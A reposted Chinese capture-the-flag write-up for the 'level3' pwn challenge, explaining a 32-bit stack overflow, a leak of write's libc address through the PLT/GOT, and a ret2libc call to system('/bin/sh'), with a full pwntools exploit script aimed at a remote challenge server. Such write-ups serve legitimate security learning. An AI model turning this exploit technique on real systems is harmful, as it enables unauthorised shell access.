IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 系统运维 -> 【攻防世界pwn-level3】 -> 正文阅读

[系统运维]【攻防世界pwn-level3】

下载文件后首先查看保护,发现可以进行栈溢出攻击

将文件拖入32位ida

进入vulnerable_function后,发现了read处有栈溢出漏洞

在查看代码后,发现没有提供system和bin/sh,但是由于给了libc,所以可以找到libc的偏移量,然后计算出system和bin/sh的加载地址。

对于plt表,got表,实际加载地址,我是这么理解的:通过elf.plt['write']获取到的是write在plt表中的地址1,这个地址1上存放的实际内容是write在got表的地址2,而这个地址2存放的是lib中write的实际加载地址3

对于libc的加载而言,通过elf获取的地址并不是真实加载的地址,这个地址存在一定的偏移量,所以就通过偏移量 = 实际加载地址 - elf获取的write地址,从而获取system的实际加载地址

?所以我们需要溢出两次,第一次溢出时,跳倒write函数,将write的实际加载地址打印出来,然后计算偏移量,得到system和bin/sh的实际加载地址,然后在第二次溢出时调用system。

第一次调用的栈:

?第二次调用的栈:

编写攻击脚本:

?

from pwn import *
io = remote('111.200.241.244',54337)
elf = ELF('level3')
libc = ELF('libc_32.so.6')

write_plt = elf.plt['write']
vul_addr = elf.symbols['vulnerable_function']
write_got = elf.got['write']
libc_system = libc.symbols['system']
libc_bin = next(libc.search(b"bin/sh"))

io.recvuntil("Input:\n")
payload =  b'a' * (0x88 + 0x4) + p32(write_plt) + p32(vul_addr) + p32(1) + p32(write_got) + p32(4)
io.sendline(payload) 


# write的真实地址
write_addr = u32(io.recv()[:4])
print(write_addr)
# 第二轮进入vulnerable_function
libc_write = libc.symbols['write']
libc_base = write_addr - libc_write
system_addr = libc_base + libc_system
bin_addr = libc_base + libc_bin

payload = b'a' * (0x88 + 0x4) + p32(system_addr) + b"deadbeef" + p32(bin_addr)
io.sendline(payload)

io.interactive()

?发起攻击:

?

?

?

  系统运维 最新文章
配置小型公司网络WLAN基本业务(AC通过三层
如何在交付运维过程中建立风险底线意识,提
快速传输大文件,怎么通过网络传大文件给对
从游戏服务端角度分析移动同步(状态同步)
MySQL使用MyCat实现分库分表
如何用DWDM射频光纤技术实现200公里外的站点
国内顺畅下载k8s.gcr.io的镜像
自动化测试appium
ctfshow ssrf
Linux操作系统学习之实用指令(Centos7/8均
上一篇文章      下一篇文章      查看所有文章
加:2022-02-19 01:36:34  更:2022-02-19 01:38:27 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/16 5:40:05-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码